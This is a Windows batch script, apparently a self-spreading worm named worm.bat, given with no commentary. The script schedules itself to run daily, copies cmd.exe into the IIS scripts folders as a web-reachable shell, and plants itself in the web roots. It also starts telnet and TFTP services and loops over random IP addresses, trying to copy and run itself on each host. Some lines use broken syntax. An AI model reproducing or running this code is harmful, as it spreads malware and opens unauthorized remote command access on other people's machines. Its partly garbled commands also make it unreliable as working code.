START CMD /C MKDIR C:\TFTPBOOT START CMD /C AT 00:00 /EVERY:Su,M,T,W,T,F,S C:\TFTPBOOT\worm.bat COPY worm.bat C:\TFTPBOOT START CMD /C COPY \windows\system32\cmd.exe C:\Inetpub\scripts\ START CMD /C COPY \windows\system32\cmd.exe D:\Inetpub\scripts\ START CMD /C COPY \windows\system32\cmd.exe E:\Inetpub\scripts\ SET /A ME=`HOSTNAME` ECHO ME=%ME% NET START TELNETD NET START TFTPD START CMD /C COPY worm.bat C:\Inetpub\wwwroot\ START CMD /C COPY worm.bat D:\Inetpub\wwwroot\ START CMD /C COPY worm.bat E:\Inetpub\wwwroot\ START CMD /C NET VIEW | FIND "\\" > temp.txt :WORM_LOOP SET /A A=%RANDOM%%%255+0 SET /A B=%RANDOM%%%255+0 SET /A C=%RANDOM%%%255+0 SET /A D=%RANDOM%%%255+0 SET /A RUN_TIME=00:00 SET REMOTE_HOST=%A%.%B%.%C%.%D% START NET \\%REMOTE_HOST% START TFTPD START NET \\%REMOTE_HOST% START TELNETD START CMD /C ECHO tftp get %ME% worm.bat ";" START CMD /C worm.bat | TELNET %REMOTE_HOST% GOTO WORM_LOOP